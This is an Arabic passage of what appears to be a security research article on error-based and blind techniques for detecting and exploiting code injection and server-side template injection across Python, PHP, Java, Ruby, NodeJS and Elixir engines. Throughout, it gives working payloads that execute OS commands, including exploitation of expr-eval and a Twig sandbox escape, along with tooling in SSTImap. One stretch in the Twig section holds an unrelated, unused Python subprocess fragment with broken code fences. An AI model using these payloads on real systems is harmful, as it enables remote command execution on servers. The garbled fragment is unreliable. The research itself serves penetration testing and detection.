في معظم محركات القوالب القائمة على بايثون، يمكن استخدام هذه الحمولات كما هي، بينما لا يسمح Jinja2 بالوصول المباشر إلى دوال بايثون المدمجة. ونتيجة لذلك، فإن الحمولة الخاصة بـ Jinja2 أكثر تعقيدًا بعض الشيء:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

### PHP
PHP يسمح أيضًا باستخدام الحمولات مثل `1 / ( … )` لتحديد نجاح الحقن.
للكشف عن الحقن، تم اختيار هذين الزوجين من الحمولات:
- `'2' + '3' == 5` و `'2' + '5' == 3`
- `strlen('2') == 1` و `strlen('1') == 2`
يمكن الوصول إلى نتائج تقييم الكود باستخدام `true && eval( … )`، ويمكن التحقق من رمز الإرجاع لتنفيذ أمر نظام التشغيل باستخدام `pclose(popen( … , "wb")) == 0`.
تعمل هذه الحمولات مع جميع محركات القوالب المختبرة باستثناء **Twig**.
تسمح لنا الإصدارات القديمة من محرك قوالب Twig باستخدام حمولة مثل هذه:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
من المستحيل الحصول على رمز الإرجاع، لذلك تتم إضافة سلسلة معروفة إلى نهاية المخرجات في حالة النجاح ليتم التحقق منها بواسطة محرك القالب. نهج مماثل يعمل مع الإصدارات الأحدث من Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

### Java
مرة أخرى، عدم وجود طريقة عالمية لتقييم كود Java يتطلب منا إنشاء حمولات مختلفة لكل من محركات القوالب المدعومة.
بالنسبة لـ **Spring Expression Language** استخدمت نفس الفكرة السابقة، لكنها تطلبت بعض التعديلات الإضافية لتحويل الأنواع: `1/(( … )?1:0)+""`
يستخدم العامل الثلاثي لتحويل النتيجة إلى `0` أو `1`، ويتم استخدام تسلسل سلسلة فارغة لتجنب الأخطاء الناتجة عن نوع الإرجاع غير الصحيح.
بالنسبة لحمولات الكشف، استبدلت `1` بـ `"".getClass().forName('java.lang.Integer').valueOf('1')`، مما يسمح لنا بتأكيد أن الحقن يدعم كود **Java**.
بالنسبة لزوجي حمولات الكشف، استخدمت عمليات إضافة أعداد صحيحة بسيطة، مع التحقق من تجاوز العدد الصحيح في الزوج الثاني.
تم التحقق من تنفيذ أوامر نظام التشغيل عن طريق مقارنة رمز الإرجاع لدالة `waitFor()` مع الصفر:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
ستعمل هذه الحمولات أيضًا مع لغات التعبير المماثلة الأخرى.
للتأكد من وجود SpEL injection، يمكننا استبدالها بحمولات خاصة بـ SpEL: T(java.lang.Integer).valueOf('1') و T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

الحمولات الخاصة بتعبيرات OGNL مشابهة لحمولات SpEL.
استخدمت نفس أزواج الحمولات باستخدام عمليات الجمع على الأعداد الصحيحة وكذلك نفس oracle: 1/((…)?1:0)+""
يمكن تأكيد بناء جملة OGNL باستبدال 1 بـ @java.lang.Integer@valueOf('1')
بالمثل لـ SpEL، يمكنك الحصول على رمز الإرجاع لأوامر النظام باستخدام waitFor():```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
من الجدير بالذكر أيضًا أن **OGNL** لديها طريقة غير معتادة لتحويل الأنواع ضمنيًا.
بالإضافة إلى ترتيب العمليات، تؤثر القيم المُحسوبة سابقًا أيضًا على التحويلات.
بينما ستحصل حمولة مثل `1 * (123 + 456) + "abc" + 1 * (123 + 456)` على النتيجة المتوقعة `"579abc579"`، فإن حمولة مماثلة `(123 + 456) + "abc" + (123 + 456)` ستبدأ في تحويل الأعداد الصحيحة إلى سلاسل نصية، مُرجعة `"579abc123456"`

الحمولة الرئيسية لـ **Freemarker** قد أُنشئت بالفعل بواسطة نيكولاس فيردييه [^10]:```java
${1/((…)?string('1','0')?eval)}
تم استخدام أزواج الحمولة البسيطة للكشف، حيث تم تأكيد محرك القالب بالفعل من خلال بناء الجملة للحمولة الرئيسية:
1.0 == 1.0 و 1.0 == 0.12 > 1 و 1 > 2للتحقق من نتائج تنفيذ أوامر نظام التشغيل، قررت استخدام تقنية تم استخدامها سابقًا لـ Twig:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

بالنسبة لمحرك قوالب Velocity، يمكننا استخدام توجيهات `#if` و `#include`:
- `#if(false)#include("Y:/A:/true")#end` و `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` و `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
للتحقق من تنفيذ أوامر نظام التشغيل، يمكننا تعديل حمولة عادية للحقن المعروض:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

في Ruby، لا توجد طريقة مباشرة لتحويل القيم من عدد صحيح إلى Boolean. هذا يجعل الحمولة أكثر تعقيدًا: 1/(!!( ... )&&1||0)
يمكن استخدام أزواج الحمولة هذه لتأكيد حقن Ruby:
(2 + 3).to_s == '5' و (2 + 5).to_s == '3''2'.length == 1 و '1'.length == 2يمكن التحقق من نتائج تقييم الكود باستخدام !!eval( ... )، بينما يمكن التحقق من نجاح أوامر نظام التشغيل المنفذة باستخدام system( … ) والتي لا تُستخدم للحقن المقدم (rendered injections) لأنها لا تعيد المخرجات نفسها.
في NodeJS، القسمة على صفر لا تنتج خطأ، لذا تستخدم الحمولة بدلاً من ذلك الوصول إلى خصائص إما undefined أو العنصر الموجود في قائمة: [""][0 + !( … )]["length"]
يُستخدم هذان الزوجان لتأكيد أن NodeJS هي اللغة المحقونة:
typeof(1) + 2 == "number2" و typeof(2) + 1 == "number2"parseInt("5x") == 5 و parseInt("x5") == 5يمكن التحقق من تقييم الكود مباشرة باستخدام eval()، ويمكن التحقق من رمز الإرجاع لأوامر نظام التشغيل المنفذة في NodeJS من الإصدار 5.7 فما فوق باستخدام هذه الحمولة:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
تسمح **Elixir** باستخدام القسمة على الصفر كوسيلة استعلام، ولكنها تتطلب تحويلًا صريحًا إلى عدد صحيح.
ونتيجة لذلك، يمكننا استخدام الحمولة: `1/(( … )&&1||0)`
يمكننا التحقق من بناء جملة **Elixir** باستخدام أزواج الحمولات التالية:
- `String.length("2") == 1` و `String.length("1") == 2`
- `is_boolean(false) == true` و `is_boolean(true) == false`
يمكن التحقق من نتائج تقييم الكود باستخدام `eval()` ومقارنة رمز إرجاع أوامر نظام التشغيل مباشرة باستخدام هذه الحمولات: `elem(Code.eval_string( … ), 0)` و `elem(System.shell( … ), 1) == 0`
### الكشف العام
جميع لغات البرمجة لها أسماء دوال خاصة بها، لذا من المستحيل إيجاد دالة تعمل للكشف العام.
على الرغم من ذلك، تستخدم جميع اللغات تقريبًا نفس الصيغة تمامًا للعمليات الرياضية الأساسية.
وهذا يسمح لنا باستخدام أخطاء الصيغة للكشف العام:
- `(3*4/2)` و `3*)2(/4`
- `((7*8)/(2*4))` و `7)(*)8)(2/(*4`
يمكن أتمتة هذه الطريقة للكشف العام عن حقن الكود وحقن القوالب من جانب الخادم دون الحاجة إلى إضافة دعم منفصل لجميع لغات البرمجة ومحركات القوالب، مما يوسع إمكانيات الكشف السريع عن حقن الكود وحقن القوالب باستخدام نهج الصندوق الأسود.

### تطوير الحمولات
لإنشاء حمولات بعد اكتشاف الحقن الأعمى، يمكننا التحقق من الأخطاء الشائعة للقسمة على الصفر أو الوصول إلى عناصر غير موجودة في القوائم أو القواميس.
بالإضافة إلى ذلك، بالنسبة لمحركات القوالب المعروفة، يمكننا استخدام عبارات `if` لإثارة أخطاء عشوائية بشكل شرطي.
للكشف الآلي، يمكن إنشاء أزواج حمولات باستخدام أسماء دوال فريدة أو ميزات بناء جملة أو تحويلات ضمنية للأنواع.
لتحويل القيم إلى النوع المطلوب، يمكننا استخدام دوال تحويل محددة أو باستخدام عملية نموذجية للنوع المطلوب (إضافة 0 للأرقام، دمج سلسلة فارغة للسلاسل النصية، استخدام المنطق و مع `true` للقيم المنطقية، إلخ.). بالإضافة إلى ذلك، يمكن تحويل القيم إلى نوع منطقي باستخدام النفي المزدوج، ثم إلى عدد صحيح باستخدام شروط مثل العامل الثلاثي.
للتحقق من نجاح تنفيذ أمر نظام التشغيل، يمكننا مقارنة رمز الخروج بالصفر أو التحقق من أن الناتج ينتهي بسلسلة نصية قدمناها.
## التطبيق العملي
تمت إضافة جميع التقنيات والحمولات التي تم تطويرها خلال هذا البحث إلى الأداة مفتوحة المصدر SSTImap للتطبيق العملي.
علاوة على ذلك، قمت بتطبيق تلك التقنيات على مهامي الخاصة، مما سمح لي بالحصول على النتيجة في معظم الحالات التي كانت بمثابة فتات خبز لهذا البحث.
من بين تلك الحالات أمثلة على اختبار تطبيقات ويب حقيقية، بالإضافة إلى حمولات توسع قدرات استغلال الثغرات المعروفة.
### expr-eval (CVE-2025-13204)
المثال الأول لتطبيق التقنيات الجديدة على هدف حقيقي كان ثغرة حقن الكود في باني بوت شهير لـ Discord.
سمحت إحدى العلامات في محرك القوالب بتقييم التعبير الرياضي باستخدام وحدة NodeJS ضعيفة تُسمى **expr-eval**، ولكن تم تحويل النتيجة إلى عدد صحيح، مما منعني في البداية من الوصول إلى نتيجة الكود المحقون.
قمت بتعديل الحمولة المعروفة للوصول إلى دالة المُنشئ دون كسر بناء جملة محرك القوالب المستخدم لتفعيل الوظيفة الضعيفة.
بعد ذلك، قمت بتطبيق تقنية قائمة على الأخطاء واستخدمت `require()` لإثارة خطأ يحتوي على نتائج تنفيذ الكود:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

في هذه الحالة، سمحت لي تقنية الخطأ (Error-Based) بالحصول على مخرجات من حقن الكود الأعمى في تطبيق واقعي كنت أختبره في ذلك الوقت.
تمت إضافة حمولة لاستغلال حقن الكود في وحدة expr-eval الخاصة بـ NodeJS كوحدة إضافية لـ SSTImap والتي يمكن تثبيتها بشكل إضافي. تحتوي هذه الوحدة على حمولات لجميع تقنيات استغلال حقن الكود الأربعة التي يدعمها SSTImap.
مثال آخر على التطبيق العملي للتقنيات الجديدة هو القدرة على استغلال CVE-2025-1302 دون القيود الناتجة عن سياق الحقن. كانت الحمولات المبكرة للحقن المقدم (rendered injection) تقوم بتعيين سمات الكائن الجذر، لكن هذا الأسلوب منع الاستغلال المقدم في العديد من سياقات الحقن وتطلب تخمين السياقات الأخرى.
بفضل تقنيات الخطأ (Error-Based)، أصبح بالإمكان الحصول على المخرجات في جميع السياقات في حالة وجود مخرجات أخطاء مفصلة. سمح استخدام تقنية الخطأ المنطقية العمياء (Boolean Error-Based Blind) باستغلال أكثر فعالية للحقن العمياء وفتح إمكانيات لاستخراج بيانات سريع.
تسمح الإصدارات الضعيفة من محرك القوالب Twig بالهروب من الصندوق الرملي (sandbox escape) عن طريق تمرير سلسلة تحتوي على اسم دالة PHP كمعامل إلى فلتر |sort.
يحول هذا الفلتر مخرجات الدالة إلى رقم يحدد الترتيب الجديد لعنصرين في المصفوفة.
في PHP، تقوم دالة system() بإرجاع السلسلة الأولى فقط من المخرجات، لكنها كافية للتأثير على الرقم الناتج وترتيب عناصر المصفوفة، مما يظهر ما إذا كان أمر نظام التشغيل لدينا قد نُفذ بنجاح.
يمكننا مقارنة العنصر الأول بالقيمة المتوقعة لتحديد ما إذا كانت العناصر قد تبدلت أماكنها، وفهم الرقم الذي أنتجه أمرنا.
ونتيجة لذلك، نحصل على هذه الحمولة:
import subprocess
import sys
def run_command(cmd):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return result.stdout.strip()
except:
return ""
def main():
# Example payload
payload = "system('id')"
# Usage with Twig filter
template = "{{ ['a','b']|sort('system') }}"
print(template)
``````php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
هذه المرة، تمدد تقنية Boolean Error-Based Blind قدرات تجاوز صندوق الرمل الأعمى في محرك القوالب Twig، مما قد يسمح باستخراج المخرجات بتًا بتًا.
يمكننا أيضًا ملاحظة أن دوال PHP مثل system() و passthru() تُخرج النتائج مباشرةً إلى الصفحة مما يسمح لنا باعتراضها باستخدام ob_start().
كوسيط ثاني، تقبل ob_start() اسم الدالة التي سيتم استدعاؤها مع مخرجاتنا كوسيط.
يسمح لنا هذا باستخدام call_user_func() لاستخراج المخرجات المستند إلى الأخطاء.
لاستدعاء الدالة وإطلاق خطأ، نحتاج إلى تشغيل ob_end_flush() بدون وسائط.
للقيام بذلك، يمكننا استخدام call_user_func_array() مع مصفوفة فارغة.
الحمولة النهائية:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
### Dust.JS
بالإضافة إلى ذلك، أود أن أذكر الحمولات (payloads) لمحرك القوالب **Dust.JS**.
إن تقنيات الاستغلال الأعمى (Blind) القائمة على الأخطاء (Error-Based) والقائمة على القيم المنطقية (Boolean-Based) باستخدام حمولات تعتمد على حمولات حقن الأكواد (Code Injection) لـ NodeJS تسمح باستغلال أكثر فعالية لـ SSTI الأعمى، بالإضافة إلى الحصول على النتائج عند وجود مخرجات الأخطاء التفصيلية (verbose error output) في الموقع المستهدف.
بعد ذلك، قررت البحث في إمكانية الحصول على النتيجة أثناء حقن العرض (rendered injection) عن طريق إضافة متغير إلى سياق القالب (template context).
في البداية، حاولت استخدام تلوث النموذج الأولي (Prototype Pollution)، لكنه تسبب في أخطاء أثناء توليد الأكواد الديناميكية، لذا كان علي العثور على كائن السياق (context object) لحقن المتغير الجديد فيه.
للقيام بذلك، طبقت تقنية قائمة على الأخطاء (Error-Based) وفحصت المتغيرات العامة (global variables).
وجدت متغيرًا يسمى `context`، يحتوي على صفة تسمى `global` تحتوي على المتغيرات الممررة إلى القالب.
إضافة صفة جديدة إلى `context.global` سمحت لي بالحصول على النتيجة:```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
يوضح هذا المثال إمكانية استخدام تقنية قائمة على الخطأ لفحص سياق الحقن أثناء تطوير الحمولات باستخدام نهج الصندوق الأسود.
كجزء من هذا البحث، تم تطوير تقنيتين جديدتين لحقن الأكواد وحقن القوالب من جانب الخادم. يسمح استخدام تقنية قائمة على الخطأ بالوصول إلى نتائج الحقن الأعمى إذا كانت رسائل الخطأ المفصلة معروضة للمستخدم. تعمل تقنية العمى القائم على الخطأ البولياني على تسريع استغلال الحقن الأعمى بشكل كبير، لأنها تلغي التأخيرات المستخدمة عادة مع تقنية العمى القائم على الزمن.
تم إنشاء حمولات لكلتا التقنيتين الجديدتين تسمح باستغلال حقن الأكواد وحقن القوالب في ست لغات برمجة.
بالإضافة إلى ذلك، تم تقديم حمولات مدركة للسياق للكشف العام عن حقن الأكواد وحقن القوالب، مما سمح بالكشف الآلي عن الحقن الأعمى دون اختبار جميع اللغات الممكنة، وهو ما كان يعتبر مستحيلاً سابقاً.
تثبت التقنيات المقدمة أهمية توثيق جميع تقنيات الاستغلال المعروفة حتى للثغرات الواضحة ظاهرياً. تم استخدام نهج مماثل في تقنيات حقن SQL لفترة طويلة، ولكن لمدة 10 سنوات منذ اكتشاف حقن القوالب من جانب الخادم لم تكن هناك إشارات إلى تقنية قائمة على الخطأ ولا حمولات موثقة. حقن الأكواد بحد ذاته بالكاد يحتوي على أي توثيق، مما منع اكتشاف تقنيات أساسية جديدة.
أثبت هذا البحث إمكانية اكتشاف تقنيات جديدة حتى للثغرات المعروفة جيداً. من أجل تطوير تقنيات أكثر فعالية، ينبغي إنشاء مستودع معرفي يحتوي على تقنيات وحيل للباحثين، مما يسمح بتوثيق المعرفة حول تطوير الحمولات والميزات غير المعتادة للأنظمة المختلفة، حتى لو لم تكن تلك المعرفة ذات استخدام مباشر لاستغلال النظام.
في الختام، أود أن أذكر الاتجاهات الواعدة لمزيد من البحث. سيكون التحسين الرئيسي لتقنيتي العمى القائم على الخطأ البولياني والعمى القائم على الزمن هو الحمولات لاستخراج المخرجات بتةً بتة، على غرار التقنيات المقابلة لحقن SQL. بالإضافة إلى ذلك، فإن البحث في إمكانيات اختبار OAST وتطبيق تقنية العمى القائم على الزمن باستخدام ميزات محركات القوالب سيزيل اعتماد هذه التقنيات على نظام التشغيل والملفات الثنائية المتاحة على الخادم الهدف.
https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf ↩
https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf ↩
https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456